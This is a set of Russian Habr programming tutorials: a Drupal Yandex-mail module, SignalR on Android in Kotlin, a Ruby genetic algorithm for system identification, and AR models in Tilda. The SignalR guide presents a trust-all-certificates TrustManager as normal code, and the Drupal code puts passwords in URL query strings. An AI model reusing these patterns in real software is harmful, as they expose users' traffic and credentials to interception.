return ''. t("Yandex PDD mailboxes management module.") .'
';
break;
}
}
```
С административной частью разобрались. Пора заняться пользовательской, весь функционал которой можно разделить на этап создания и этап работы.
#### Создание ящика
Не всем нашим пользователям может понадобиться ещё один e-mail, пусть даже и в домене любимого сайта. Да и нам ни к чему плодить огромное количество неиспользуемых ящиков. Потому мы добавим в форму регистрации пользователя чекбокс, который позволит ему выбирать, создавать ящик или нет. Любую форму в Drupal можно изменить с помощью [hook\_form\_alter()](https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_form_alter/7). С назначением некоторых элементов массива описания формы мы уже знакомы. Подробнее со всеми остальными можно познакомиться [на справочной странице по формам](https://api.drupal.org/api/drupal/developer%21topics%21forms_api_reference.html/7).
```
function yandex_pdd_form_alter(&$form, &$form_state, $form_id){
if($form_id=='user_register_form'){ // Идентификатор изменяемой формы
$form['account']['createmail']=array( // Имя дополнительного поля
'#type' => 'checkbox',
'#title' => t('Create a mailbox'),
'#description' => t('Check this box if you want to create a mailbox @'.variable_get('yandex_pdd_domain').'.'),
'#required' => 0,
'#access' => 1, // Доступно ли поле пользователям
'#weight' => 10 // Вес (критерий сортировки)
);
}
}
```
Много текста для одного маленького чекбокса.
При регистрации пользователя мы проверяем, отмечен ли чекбокс создания ящика в форме, и если да, вносим в таблицу данные о неактивном ящике.
```
function yandex_pdd_user_insert(&$edit, $account, $category){
if($account->createmail){
$transliterated = transliteration_get($account->name, '_'); // Транслитерируем логин
$pattern = '/[^a-zA-Z0-9]/'; // Задаём шаблон для замены всего, кроме букв и цифер
$transliterated = preg_replace($pattern, '-', $transliterated); // Заменяем все не alphanumeric знаки на дефисы
$newbox = db_insert('yandex_pdd'); // Инициируем вставку в базу данных
$newbox->fields(array('uid' => $account->uid, 'login' => strtolower($transliterated), 'activated' => '0')); // Задаём данные для вставки
$res = $newbox->execute(); // Выполняем запрос
watchdog('yandex_pdd',print_r('Res: '.$res,1)); // Для отладки записываем в системный журнал CMS результат
}
}
```
Создание ящика подвязано к изменению формы с пользовательскими данными хуком [hook\_field\_attach\_submit()](https://api.drupal.org/api/drupal/modules%21field%21field.api.php/function/hook_field_attach_submit/7). Таким образом, до того, как пользователь впервые произведёт редактирование данных (изменение пароля), ящик не создаётся.
```
function yandex_pdd_field_attach_submit($entity_type, $entity, $form, &$form_state) {
global $user;
if($entity_type == 'user' and $user->uid > 0) { // Обработка при изменении сущности типа user
$select = db_select('yandex_pdd','ypdd');
$select->addField('ypdd', 'id');
$select->addField('ypdd', 'login');
$select->addField('ypdd', 'activated');
$select->condition('uid', $user->uid);
$entries = $select->execute()->fetchAssoc(); // Получаем логин для ящика и статус активации
if (array_key_exists('login', $entries) and $entries['login'] != '' and $entries['activated'] == 0) { // Если пользователю нужен ящик и он не создан
$mailboxcreate = simplexml_load_file('https://pddimp.yandex.ru/reg_user_token.xml?token='.variable_get('yandex_pdd_authtoken').'&u_login='.$entries['login'].'&u_password='.$form["#user"]->pass); // Создаём ящик и парсим XML-ответ
if ($mailboxcreate->ok[0]) { // Если создался
$num_updated = db_update('yandex_pdd');
$num_updated->fields(array('activated' => '1'));
$num_updated->condition('uid', $user->uid);
$res = $num_updated->execute(); // Отмечаем флаг активации ящика
} elseif ($mailboxcreate->error[0]) { // Если ошибка API
foreach($mailboxcreate->error[0]->attributes() as $key => $value) {
$mbc[$key] = (string)$value;
}
watchdog('yandex_pdd',"Can't create new mailbox. Reason: ".$mbc['reason']); // Записываем в лог сообщение
} else { // Если вообще неясно что случилось
watchdog('yandex_pdd','Unknown error while creating mailbox.'); // Так и запишем
}
}
}
}
```
Наконец-то наш пользователь получил ящик, хотя не особо знает, как туда попасть. Осталось реализовать функционал перехода на почту.
#### Рабочий функционал
Собственно, пользовательских функций всего две: отобразить блок и авторизироваться на почте. Блок нужно в первую очередь описать хуком [hook\_block\_info()](https://api.drupal.org/api/drupal/modules%21block%21block.api.php/function/hook_block_info/7)
```
function yandex_pdd_block_info() {
$blocks['mailbox_status'] = array( // Системное имя блока
'info' => t('Mailbox status'), // Административное название блока
'cache' => DRUPAL_CACHE_PER_ROLE, // Режим кеширования
);
return $blocks;
}
```
Для блока нам ещё понадобится задать темизацию и файл с шаблоном оформления. Темизация описывается хуком [hook\_theme()](https://api.drupal.org/api/drupal/modules%21system%21system.api.php/function/hook_theme/7), описывающим системе реализацию оформления элементов модуля.
```
function yandex_pdd_theme() {
return array(
'yandex_pdd_block' => array( // Системное имя шаблона
'variables' => array( // Используемые шаблоном переменные
'newmail' => NULL
),
'template' => 'yandex-pdd-block', // Имя файла шаблона
)
);
}
```
И, собственно, сам файл *yandex-pdd-block.tpl.php*.
```
php print t('You have ').'<a href="/mailbox" target="\_blank"'.$newmail.t(' new messages').'.'; ?>
```
Для блока нам нужно получить по API одно-единственное значение — количество новых писем, после чего отрендерить сам блок хуком [hook\_block\_view()](https://api.drupal.org/api/drupal/modules%21block%21block.api.php/function/hook_block_view/7)
```
function yandex_pdd_block_view($delta = '') {
global $user;
if ($user->uid > 0) { // Проверяем, авторизирован ли пользователь
$select = db_select('yandex_pdd','ypdd');
$select->addField('ypdd', 'login');
$select->condition('uid', $user->uid);
$entries = $select->execute()->fetchAssoc(); // Получаем логин ящика
$unreadmailxml = simplexml_load_file('https://pddimp.yandex.ru/get_mail_info.xml?token='.variable_get('yandex_pdd_authtoken').'&login='.$entries['login']); // Получаем от Яндекса информацию о ящике
if ($unreadmailxml->ok[0]) { // Если запрос успешен
foreach($unreadmailxml->ok[0]->attributes() as $key => $value) { // Парсим ответ
$unreadmail[$key] = (string)$value;
}
$blocks = array();
$blocks['subject'] = null;
$blocks['content'] = theme('yandex_pdd_block', array('newmail' => $unreadmail['new_messages']));
return $blocks; // Возвращаем блок
} elseif ($unreadmailxml->error[0]) {
foreach($unreadmailxml->error[0]->attributes() as $key => $value) {
$unreadmail[$key] = (string)$value;
}
watchdog('yandex_pdd',"Can't get new mail info. Reason: ".$unreadmail['reason']);
} else {
watchdog('yandex_pdd','Unknown error while loading new mail info');
}
}
}
```
Сгенерированный блок будет выглядеть примерно так.
Завершающий штрих — системная ссылка *mailbox*, которая будет перебрасывать пользователя на страницу Яндекс.Почты и авторизировать по одноразовому токену. Как мы помним (или уже не помним), мы ранее задали, что эта ссылка должна обрабатываться функцией *mailbox\_login*. Время жизни токена всего 30 секунд, потому после его получения пользователь тут же должен быть переадресован на страницу авторизации.
```
function mailbox_login(){
global $user;
global $base_url;
if ($user->uid > 0) {
$select = db_select('yandex_pdd','ypdd');
$select->addField('ypdd', 'login');
$select->condition('uid', $user->uid);
$entries = $select->execute()->fetchAssoc();
$tokenxml = simplexml_load_file('https://pddimp.yandex.ru/api/user_oauth_token.xml?token='.variable_get('yandex_pdd_authtoken').'&domain='.variable_get('yandex_pdd_domain').'&login='.$entries['login']); // Получаем одноразовый токен авторизации
if ($tokenxml->xpath('status/success')) {
$tokenarr = $tokenxml->xpath('domains/domain/email/oauth-token');
header('Location: http://passport.yandex.ru/passport?mode=oauth&type=trusted-pdd-partner&error_retpath='.urlencode($base_url.'/').'&access_token='.(string)$tokenarr[0]); // Перебрасываем пользователя на Яндекс.Почту
drupal_exit(); // Прекращаем любые другие действия CMS
} elseif ($tokenxml->xpath('status/error')) {
watchdog('yandex_pdd',"Can't get short-term auth token info. Reason: ".(string)$tokenxml->xpath('action/status/error'));
}
}
}
```
#### Заключение
Тут и сказу конец. Размещённые куски кода, собранные в соответствии с указанными именами файлов, должны дать Вам готовый модуль. Надеюсь, кому-то он будет полезен, и с удовольствием выслушаю замечания и рекомендации по коду. | https://habr.com/ru/post/245117/ | null | ru | null |
# Подключение SignalR для Android на Kotlin
Если ты читаешь эту статью, наверно тебе, как и мне понадобилось подключить SignalR в своем мобильном приложении. К сожалению в русскоязычном сегменте не так уж много информации о том, как это сделать, а то что есть уже устарело.
В рамках этой статьи я не буду касаться серверной части, но постараюсь предоставить все необходимое примеры кода с комментариями для реализации SignalR в Android, а получившийся пример выложу на GitHub.
Что такое SignalR и когда он используется?
------------------------------------------
Это библиотека с открытым исходным кодом, которая упрощает добавление веб-функций в режиме реального времени в приложения. Веб-функции в режиме реального времени позволяют коду на стороне сервера мгновенно отправлять содержимое на клиенты.
* Управляет автоматическим управлением соединениями.
* Отправляет сообщения всем подключенным клиентам одновременно. Например, комната чатов.
* Отправляет сообщения конкретным клиентам или группам клиентов.
* Масштабируется для управления увеличением трафика.
Схематично[Более подробно здесь](https://docs.microsoft.com/ru-ru/aspnet/signalr/overview/getting-started/introduction-to-signalr)
Создаем проект и подключаем зависимости.
----------------------------------------
Создаем новый проект на основе Empty Activity, я назову его SignalR\_Example
Создание нового проектаДобавляем 3 необходимые зависимости в build.gradle проекта:
*implementation "com.microsoft.signalr:signalr:5.0.10"*[Смотрим актуальную версию здесь](https://mvnrepository.com/artifact/com.microsoft.signalr/signalr)
*implementation "com.squareup.okhttp3:logging-interceptor:5.0.0-alpha.2"*
[Смотрим актуальную версию здесь](https://mvnrepository.com/artifact/com.squareup.okhttp3/logging-interceptor)
*implementation 'com.google.code.gson:gson:2.8.8'*
[Смотрим актуальную версию здесь](https://mvnrepository.com/artifact/com.google.code.gson/gson)
Зависимости в build.gradleСоздаем необходимые классы
--------------------------
**Класс SignalRListener и соответствующий ему интерфейс ISignalRListener**
Он будет содержать подключение к HubConnection и основную реализацию слушателя внешних событий.
Класс SignalRListener
```
/**
* Представляет SignalR-реализацию слушателя внешних событий.
* @param sslSocketFactory Модифицированный протокол безопасной передачи данных.
* @param trustAllCerts Модифицированный X509TrustManager для доверия всем сертификатам.
*/
class SignalRListener (
private val sslSocketFactory: SSLSocketFactory,
private val trustAllCerts: TrustAllCerts
) : ISignalRListener {
private val apiUrl = "https://something.com/api/" //Адрес Вашего api
private val hubConnection = HubConnectionBuilder.create(apiUrl + "GatewayHub") //
.setHttpClientBuilderCallback {
it.sslSocketFactory(sslSocketFactory, trustAllCerts)
}
.build()
override val connectionId: String?
get() = hubConnection.connectionId
override val connectionState: HubConnectionState
get() = hubConnection.connectionState
override fun startConnection() {
hubConnection.start()
}
override fun stopConnection() {
hubConnection.stop()
}
override fun subscribe(
eventName: String,
handler: (event: LinkedTreeMap) -> Unit
) {
hubConnection.on(
eventName,
handler,
LinkedTreeMap::class.java
)
}
override fun unsubscribe(eventName: String) {
hubConnection.remove(eventName)
}
}
```
Интерфейс ISignalRListener
```
/**
* Описывает реализацию слушателя внешних событий.
*/
interface ISignalRListener {
/**
* Возвращает id подключения к SignalR.
*/
val connectionId: String?
/**
* Возвращает статус подключения к SignalR.
*/
val connectionState: HubConnectionState
/**
* Выполняет подключение к серверу SignalR.
*/
fun startConnection()
/**
* Выполняет отключение от сервера SignalR.
*/
fun stopConnection()
/**
* Подписывается на событие.
* @param eventName Имя события.
* @param handler Обработчик события.
*/
fun subscribe(eventName: String, handler: (LinkedTreeMap) -> Unit)
/\*\*
\* Отписывается от события.
\* @param eventName Имя события.
\*/
fun unsubscribe(eventName: String)
}
```
**Класс SignalRService и соответствующий ему интерфейс ISignalRService**
Он будет содержать реализацию подписок на ресурсы.
Класс SignalRService
```
/**
* Представляет реализацию подписок на ресурсы.
*/
class SignalRService (
private val signalRListener: ISignalRListener
) : ISignalRService {
/**
* Возвращает или устанавливает подписку на ресурсы.
*/
private val resourcesSubscriptions = mutableListOf()
init {
subscribeOnResourceChanged()
}
/\*\*
\* Подписывается на события изменения ресурса.
\*/
private fun subscribeOnResourceChanged() {
signalRListener.subscribe(
"ResourceChangedEventOccurred"
) { event ->
resourcesSubscriptions.forEach { subscription ->
val resourceName = event["resourceName"]
if (resourceName != null && resourceName.contains(subscription.resourceName)) {
//Реагируем на изменение ресурса.
subscription.callback()
}
}
}
}
override fun subscribe(subscriptionsForAdd: List) {
subscriptionsForAdd.forEach { resourceSubscription ->
resourcesSubscriptions.add(resourceSubscription)
}
}
override fun unsubscribe(subscriptionsForRemove: List) {
subscriptionsForRemove.forEach { resourceSubscription ->
resourcesSubscriptions.remove(resourceSubscription)
}
}
}
```
Интерфейс ISignalRService
```
/**
* Описывает методы подписки на внешние события.
*/
interface ISignalRService {
/**
* Добавляет ресурсы в подписку.
* @param subscriptionsAdd Список ресурсов для подписки.
*/
fun subscribe(subscriptionsAdd: List)
/\*\*
\* Удаляет ресурсы из подписки.
\* @param subscriptionsRemove Список ресурсов для отписки.
\*/
fun unsubscribe(subscriptionsRemove: List)
}
```
**Дата класс ResourceSubscriptionModel**
Он будет представлять подписку на ресурс.
Дата класс ResourceSubscriptionModel
```
/**
* Представляет подписку на ресурс.
*/
data class ResourceSubscriptionModel(
/**
* Имя ресурса для отслеживания событий.
*/
val resourceName: String,
/**
* Метод выполняемый при получении события.
*/
val callback: () -> Unit
)
```
**Класс TrustAllCerts**
Он позволит доверять всем сертификатам.
Класс TrustAllCerts
```
/**
* Позволяет доверять всем сертификатом.
*/
class TrustAllCerts : X509TrustManager {
override fun getAcceptedIssuers(): Array = arrayOf()
override fun checkClientTrusted(certs: Array, authType: String) = Unit
override fun checkServerTrusted(certs: Array, authType: String) = Unit
}
```
**Класс SignalRApplication**
Он представляет класс нашего приложения и будет хранить синглтоны *ISignalRListener* и *ISignalRService*. По хорошему следует использовать какой ни будь DI инструмент, но для упрощения примера сделаем так. Не забываем добавлять его в манифест.
Класс SignalRApplication
```
/**
* Представляет приложение.
*/
class SignalRApplication : Application() {
lateinit var signalRListener: ISignalRListener // Слушатель внешних событий.
lateinit var signalRService: ISignalRService // Сервис подписок на ресурсы.
companion object {
lateinit var application: SignalRApplication
}
override fun onCreate() {
super.onCreate()
application = this
// Модифицированный X509TrustManager для доверия всем сертификатам.
val trustAllCerts = TrustAllCerts()
// Модифицированный протокол безопасной передачи данных.
val sslSocketFactory = SSLContext.getInstance("TLSv1.2").apply {
init(null, arrayOf(trustAllCerts), SecureRandom())
}.socketFactory
signalRListener = SignalRListener(sslSocketFactory, trustAllCerts)
signalRService = SignalRService(signalRListener)
}
}
```
**Абстрактный класс BaseActivity**
Он будет представлять базовый класс для наших Activity и содержать методы на подписку и отписку от событий.
Абстрактный класс BaseActivity
```
/**
* Представляет базовый класс Activity
*/
abstract class BaseActivity : AppCompatActivity() {
/**
* Сервис подписок на ресурсы.
*/
private val _signalRService = SignalRApplication.application.signalRService
/**
* Лист подписок.
*/
private val _resourceSubscriptions: MutableList = mutableListOf()
override fun onStop() {
super.onStop()
\_signalRService.unsubscribe(\_resourceSubscriptions)
}
/\*\*
\* Устанавливает подписки на ресурсы.
\* @param resourceSubscriptions Лист подписок.
\*/
fun setSignalRSubscriptions(
resourceSubscriptions: List
) {
\_resourceSubscriptions.addAll(resourceSubscriptions)
\_signalRService.subscribe(resourceSubscriptions)
}
}
```
[**Скачать пример проекта можно здесь**](https://github.com/AndroidLab/SignalR_Example) | https://habr.com/ru/post/579916/ | null | ru | null |
# ТАУ-Дарвинизм: реализация на Ruby
#### Предисловие
>
>
> | | |
> | --- | --- |
> | *Послушайте, ворона, а может быть собака,
> А может быть корова, но тоже хорошо!
> У вас такие перья, у вас рога такие,
> Копыта очень стройные и добрая душа.* | |
>
>
*Мультфильм «Пластилиновая ворона».*
В этой статье представляю Вашему вниманию реализацию эволюционного подхода к идентификации динамической системы. Программа написана на языке Ruby версии 1.9.2 (gems: NArray, GNUPlot). Заглянув под кат найдете пример вещественного кодирования генной информации и подходящего для него алгоритма скрещивания («flat crossover»).
#### Введение
Начну с описания задачи «черного ящика». Предположим у нас есть некий объект, передаточную функцию которого мы бы хотели узнать (упрощенную, близкую или эквивалентную к реальной). Все, что мы можем сделать, это подать на вход объекту некоторое воздействие и измерить некоторый выходной параметр (например, выходное напряжение). Как нам подглядеть, что у ящика внутри? Иными словами: как определить примерную математическую модель исследуемого объекта?
В теории автоматического управления (ТАУ) данная задача называется идентификацией. Существуют разные способы идентификации, основанные на серьезной математике и сложные в реализации. Однако есть возможность получить приближенную математическую модель сравнительно простым способом, а именно используя стохастический подход с применение эволюционных алгоритмов.
Подробности Вы можете прочитать в первой статье, посвященной данному вопросу: [ТАУ-Дарвинизм](http://habrahabr.ru/blogs/algorithm/111075/), а здесь я остановлюсь на программной реализации.
#### Реализация
При написании алгоритмов использована библиотека «gga4r» (rubygems.org). Данная библиотека была переписана ~~для приведение в работоспособное состояние~~ для совместимости с ruby 1.9. Автор этой библиотеки (спасибо ему большое!) реализовал подход эволюционной обертки над сущностями, реализующими представления различных по содержанию, но одинаковых по форме эволюционирующих особей. Предлагается реализовывать свой собственный класс, имплементирующий генетические операторы. У меня получилось это так:
```
class TFIndivid
attr_reader :filter, :fitness, :dna, :num_len, :denom_len
def initialize(num,denom,k=1.0,ts=@@ts)
@num_len,@denom_len,@filter = num.length,denom.length,SSF::tf2ssd(num, denom, k, ts)
@fitness = 1/(step_response_deviation(@filter)+@@eps)
@fitness = 0.0 if @fitness.infinite?
@dna = num + denom + [k] + [ts]
self
end
def integrity_ok?(dna)
return dna.length == @num_len + @denom_len + 2
end
def TFIndivid.flat_crossover(par1, par2)
r = Random.new
child = []
par1.size.times { |i|
if par1[i]>par2[i]
child << r.rand(par2[i]..par1[i])
else
child << r.rand(par1[i]..par2[i])
end
}
child
end
def recombine(other)
child = TFIndivid::flat_crossover(self.dna, other.dna)
res = self.integrity_ok?(child) ? TFIndivid.new(child[0..@num_len-1], child[@num_len..-3], child[-2], child[-1]) : []
[res]
end
def mutate
rnd = Random.new
mutate_point = rnd.rand(@dna.size-1)
@dna[mutate_point] *= rnd.rand(1.0)
end
end
```
В примере на сайте «gga4r» класс особи наследовался от Array. Я решил поменять немного логику и завел дополнительное свойство "@dna". Сделано это было для удобства и использования конструктора, в котором происходит создание цифрового фильтра для данных коэффициента усиления, числителя и знаменателя передаточной функции (в непрерывном времени), а также периода квантования по времени. Также в конструкторе переданные параметры сливаются в один одномерный массив для работы с ними посредством генетических алгоритмов. Фитнесс особи вычисляется сразу в конструкторе и хранится в соответствующем свойстве.
Функция «flat\_crossover» реализует упомянутый в самом начале статьи вещественного скрещивания. Это, наверное, самая простая его реализация. Существует еще несколько, в которых детей реализуется несколько (здесь генерируется один потомок) и которые мне наверняка предстоит реализовать. В данном же случае порождаемое дитя формируется путем выбора для каждого гена случайного числа в интервале между значениями генов родителей.
Оператор мутации реализован в виде умножения значения гена на случайное число в диапазоне [0.0..1.0]. Таким образом некоторые из генов «притягиваются» к нулю. Выбранный оператор скрещивания формирует в основном особи со значениями генов в средней части допустимого диапазона значений. Выбранный способ мутирования играет роль противовеса.
Сама обертка эволюционного алгоритма работает как описано в предыдущей статье [ТАУ-Дарвинизм](http://habrahabr.ru/blogs/algorithm/111075/): формируется популяция, проводится селекция, рекомбинация (скрещивание), мутация. Внутренности сможете посмотреть в исходниках программы (ссылка в конце статьи). Ее пришлось немного переписать, как написано выше, для возможности использования с ruby 1.9. Но на самом деле библиотека у меня отказалась работать и с версией 1.8 на kubuntu 10.10 (не выяснял почему). Как бы то ни было, можете сравнить с оригиналом «gga4r» — изменений немного. Кое что еще предстоит изменить.
Фитнесс-функция реализована как среднеквадратическое отклонение между выходным сигналом тестового фильтра и сгенерированного по генам особи:
```
def step_response_deviation(filter)
x, test_y,y = step_response(filter)
av_err = 0.0
100.times {|i|
err = test_y[i] - y[i]
av_err += err*err
}
Math.sqrt(av_err / 99)
end
def step_response(filter)
@@test_filter.reset
filter.reset
x = []; 100.times { |i| x << i*@@ts }
test_y,y = [],[]
100.times {
test_y << @@test_filter.step(@@test_input)
y << filter.step(@@test_input)
}
return x,test_y,y
end
```
Это немного отличается от постановки задачи («дана запись выхода и входа черного ящика; требуется...»), но так удобнее, а суть та же.
#### Результаты
~~Играясь с новой бирюлькой~~ В ходе предварительных исследований было выяснено, что выгоднее всего задавать большой размер популяции при меньшем числе итераций. Подходящее решение находится довольно быстро при достаточном числе особей в популяции. Задачу поставил так:
* Имеется эталонная (тестовая) передаточная функция — числитель: [1.5, 1.0], знаменатель: [0.75, 0.35, 1.1]
* Коэффициент усиления тестового фильтра выбрал равным единице (коэффициент передаточной функции при построении дискретного фильтра к нему приводится в функции SSF::tf2ssd — модуль «ssf.rb» в исходниках)
* Период квантования — 0.1 сек., для выбранного тестового фильтра вполне достаточно малый период
* Размер популяции — 350 в начале и 500 максимально
* Число итераций — 50
Оказалось, что не смотря на заданный максимум размер популяции превышал заданное значение. После запуска получил следующий результат:
`$ ruby1.9.1 main.rb
Iteration: 1
Population size: 387
best Individ: [ 1.552605923140199 1.8418549861379885 4.4154048910142265 5.556332886121151 5.320061971918478 1.6334223860651258 0.1 ]
best fitness: 2.6508867715774027
mean fitness: 1.1722382322077871
mean fitness recalc 1.1722382322077871
******************************
Iteration: 2
Population size: 421
best Individ: [ 0.37594352736713244 0.41988779230454 6.092873656120998 3.575618643442387 8.786369744495486 1.3186424599689655 0.1 ]
best fitness: 2.9780762386062767
mean fitness: 1.381001802845182
mean fitness recalc 1.381001802845182
******************************
Iteration: 3
Population size: 456
best Individ: [ 5.355702236617921 2.9021864520499134 3.979973441887163 1.1587534831116912 5.818934614234973 0.6934218845420625 0.1 ]
best fitness: 4.008150118088937
mean fitness: 1.6192001539010286
mean fitness recalc 1.6192001539010286
******************************
Iteration: 4
Population size: 501
best Individ: [ 6.981596537433821 7.0034200556235495 6.592795290155172 3.1179936580946577 7.236199584387684 1.4664747534746492 0.1 ]
best fitness: 4.629268673426835
mean fitness: 1.8244067682429481
mean fitness recalc 1.8244067682429481
******************************
Iteration: 5
Population size: 537
best Individ: [ 5.917012124258587 6.182284010197045 5.214809836688884 3.9333556599339055 8.349166334410114 1.544147649767568 0.1 ]
best fitness: 4.900537478511452
mean fitness: 2.024810983956715
mean fitness recalc 2.024810983956715
******************************
Iteration: 6
Population size: 551
best Individ: [ 5.917012124258587 6.182284010197045 5.214809836688884 3.9333556599339055 8.349166334410114 1.544147649767568 0.1 ]
best fitness: 4.900537478511452
mean fitness: 2.3489882909253152
mean fitness recalc 2.3489882909253152
******************************
Iteration: 7
Population size: 540
best Individ: [ 7.667944581517669 7.685145812466274 3.6039889820553768 2.4390348703480536 5.087422184655714 1.4689450977845646 0.1 ]
best fitness: 8.166839319133336
mean fitness: 2.652950357867813
mean fitness recalc 2.652950357867813
******************************
Iteration: 8
Population size: 552
best Individ: [ 7.667944581517669 7.685145812466274 3.6039889820553768 2.4390348703480536 5.087422184655714 1.4689450977845646 0.1 ]
best fitness: 8.166839319133336
mean fitness: 2.9467084852969725
mean fitness recalc 2.9467084852969725
******************************
Iteration: 9
Population size: 553
best Individ: [ 5.7806312313223485 4.681216450534634 5.384196754050039 3.0234885021495357 7.238140602489246 1.1815749271908358 0.1 ]
best fitness: 9.966075154360498
mean fitness: 3.335389533280396
mean fitness recalc 3.335389533280396
******************************
Iteration: 10
Population size: 543
best Individ: [ 5.7806312313223485 4.681216450534634 5.384196754050039 3.0234885021495357 7.238140602489246 1.1815749271908358 0.1 ]
best fitness: 9.966075154360498
mean fitness: 3.818330258524996
mean fitness recalc 3.818330258524996
******************************
Iteration: 11
Population size: 555
best Individ: [ 5.7806312313223485 4.681216450534634 5.384196754050039 3.0234885021495357 7.238140602489246 1.1815749271908358 0.1 ]
best fitness: 9.966075154360498
mean fitness: 4.241020711174743
mean fitness recalc 4.241020711174743
******************************
Iteration: 12
Population size: 563
best Individ: [ 7.114438733870453 5.7051128886012386 3.8495059720675098 1.8164317233081309 5.543227442940334 1.1352374472380862 0.1 ]
best fitness: 11.644557896655645
mean fitness: 4.980294253355436
mean fitness recalc 4.980294253355436
******************************
.......
******************************
Iteration: 23
Population size: 542
best Individ: [ 5.949029964618817 4.681516090696933 4.8007731550065325 2.562344672524173 6.969591955243219 1.1684490266387202 0.1 ]
best fitness: 20.468430876331446
mean fitness: 11.25191007878279
mean fitness recalc 11.25191007878279
******************************
......
******************************
Iteration: 36
Population size: 550
best Individ: [ 6.304563716617802 4.937028188768713 5.01636959411469 2.5019167234335344 7.143946485486306 1.1690443373254094 0.1 ]
best fitness: 30.361894930102864
mean fitness: 22.65217005076974
mean fitness recalc 22.65217005076974
******************************
........
******************************
Iteration: 46
Population size: 542
best Individ: [ 6.548169493382168 5.060607979367818 4.739775170940725 2.3444848651883947 6.741642980854007 1.1564890916088506 0.1 ]
best fitness: 32.826565607333514
mean fitness: 25.606090666108418
mean fitness recalc 25.606090666108418
******************************
Iteration: 47
Population size: 550
best Individ: [ 6.548169493382168 5.060607979367818 4.739775170940725 2.3444848651883947 6.741642980854007 1.1564890916088506 0.1 ]
best fitness: 32.826565607333514
mean fitness: 25.489911664932283
mean fitness recalc 25.489911664932283
******************************
Iteration: 48
Population size: 561
best Individ: [ 6.548169493382168 5.060607979367818 4.739775170940725 2.3444848651883947 6.741642980854007 1.1564890916088506 0.1 ]
best fitness: 32.826565607333514
mean fitness: 25.44926190395142
mean fitness recalc 25.44926190395142
******************************
Iteration: 49
Population size: 550
best Individ: [ 3.1439340250602816 5.060607979367818 4.739775170940725 2.3444848651883947 6.741642980854007 1.1564890916088506 0.1 ]
best fitness: 32.826565607333514
mean fitness: 26.108921277427932
mean fitness recalc 26.108921277427932
******************************
Iteration: 50
Population size: 559
best Individ: [ 3.1439340250602816 5.060607979367818 4.739775170940725 2.3444848651883947 6.741642980854007 1.1564890916088506 0.1 ]
best fitness: 32.826565607333514
mean fitness: 26.23635084771665
mean fitness recalc 26.23635084771665
******************************`
Первые два числа в «best Individ» — числитель передаточной функции, следующие три — знаменатель, далее — масштабный коэффициент и период квантования. Наилучший фитнесс, равный 32 «попугаям» — достаточно хороший результат. В подтверждение следующий рисунок:
На нем изображены графики переходных процессов тестового и полученного в ходе эволюции фильтров при подаче им на вход единичного ступенчатого воздействия. «Кто» из графиков «Кто» пока не могу сказать — недопилил функциональность по работе с gnuplot, но это и не имеет значение в данном случае, т.к. невооруженным глазом видно, что результаты очень близки.
#### Заключение
Программа реализована в ходе исследовательских работ по программе «У.М.Н.И.К». Код сырой, но работающий (по крайней мере у меня). В планах оснастить программу неким простеньким GUI для удобства. Ниже ссылка на код.
**UPD1:** исходники размещены на GitHub.
[Репозиторий на GitHub](https://github.com/homoluden/tau-ga) | https://habr.com/ru/post/111078/ | null | ru | null |
# Дополненная реальность в Tilda
Всем привет! Меня зовут Григорий Дядиченко, и я занимаюсь разработкой разных проектов на заказ. Настало время тыкв и ужаса! Я люблю эстетику Halloween, но так как самому тыкву вырезать лень, я сделал AR тыкву. И хочу поделиться рецептом с вами. Мы поговорим про такие форматы как USDZ и GLB, про html вставки в тильду, про её проблемы и прочее. Сразу скажу, что решение не претендует на элегантность, а скорее объясняет концепцию. Если вам интересно, как добавить в тильду немного дополненной реальности — добро пожаловать под кат!
Иногда заказчикам хочется на своём сайте показывать какой-то AR. Причём многие кейсы AR сейчас сводятся к показать модель или модель с анимацией, даже без интерактива. Для этого не нужно разрабатывать какое-то сложное приложение. Достаточно сделать 3д модели в двух форматах USDZ и GLB, и разместить на сайте. Скажем если пользователю через сайт предоставляется возможность посмотреть "как впишется шкаф" или "техника" продаваемая на сайте то их функционал для этого идеально подходит. Он позволяет не тратиться на дорогое приложение, а просто оцифровать "стиральную машину", чтобы клиенты могли посмотреть "как она встанет в их квартиру". Результат и то, как это делается можно посмотреть [в репозитории](https://github.com/Nox7atra/Tilda-Usdz-Glb-Block-Example) и [на сайте](http://noxatra.tilda.ws/usdz-glb-test) (доступно только с телефона). А пока давайте начнём с USDZ.
USDZ и AR Quick Look
--------------------
Сам по себе формат **USDZ** разработан компанией Pixar для 3д контента. По своей сути **USDZ** является zip архивом с несколькими видами файлов. Поддерживает анимации и звук.
1. **USD, USDA, USDC** — различные форматы Universal Scene Description. Файл описывающий сцену и 3д модели. Бывают двух видов: Random-access “Crate” binary (.usdc) и Human-readable UTF-8 text (.usda ). В usd бинарный или текстовый вариант сериализации зависит от хедера. Какой формат используется зависит от хедера в файле..
2. **PNG, JPEG** — изображения используемые в сцене
3. **M4A, MP3, WAV** — звуки используемые в сцене.
В целом формат хотя и сложный, вокруг него образовалось довольно много конвертеров, плагинов и т.п., которые позволяют с ним работать.
[AR Quick Look](https://developer.apple.com/augmented-reality/quick-look/) в свою очередь это просмотрщик USDZ, который встроен в операционную систему начиная с IOS 12. А с версии IOS 13 поддерживает лёгкие интерактивы, которые можно собрать в [Reality Composer](https://apps.apple.com/ru/app/reality-composer/id1462358802). Благодаря AR Quick Look вы можете разместить свою 3д модель в окне браузера в сафари, а айос уже сама откроет для вас её в дополненной со всеми возможностями ARKit.
С форматами разобрались, попробуем засунуть USDZ в тильду.
Tilda и USDZ
------------
Я иногда не понимаю предвзятости заказчиков к Tilda. Вполне неплохой себе конструктор. Да, конечно же имея бесконечные бюджеты на фронтенд разработчиков можно сделать круче, сложнее и интереснее с помощью того же React.js. Но я периодически слышу, когда нужно собрать лендинг с адаптивом без бюджета за 3 дня: "Только не тильда". Хотя камень в его огород кинуть в нашей задаче хочется сразу. Но если задача собрать простой лендинг за пару часов — тильда отличный инструмент. У меня ряд сайтов моих продуктов до сих пор работают на тильде. Да даже сайт студии на ней (пока).
И главная претензия к тильде у меня по сути одна. Я не могу залить на хостинг тильды файлы. И это прямо-таки геморой. Допустим передо мной поставили задачу, открывать AR на домене заказчика без всякого лишнего. И в Тильде это превращается в целую пляску с бубном. С бюджетами и серверами нет проблемы захостить файл где-то ещё, но если уж тильда по условия оплаты предоставляет 1 гб места хотелось бы иметь возможность занять его чем угодно. И что важно — привязать файлы к своему домену. Так как если домен переводится на Tilda то очевидно, что для самостоятельного хостинга файлов нужно покупать свой домен. Что очень сильно ограничивает возможности figma. Хотя в сегодняшнем примере мне удалось обойти это всё, и никакой лишний домен при открытии AR модели не светится.
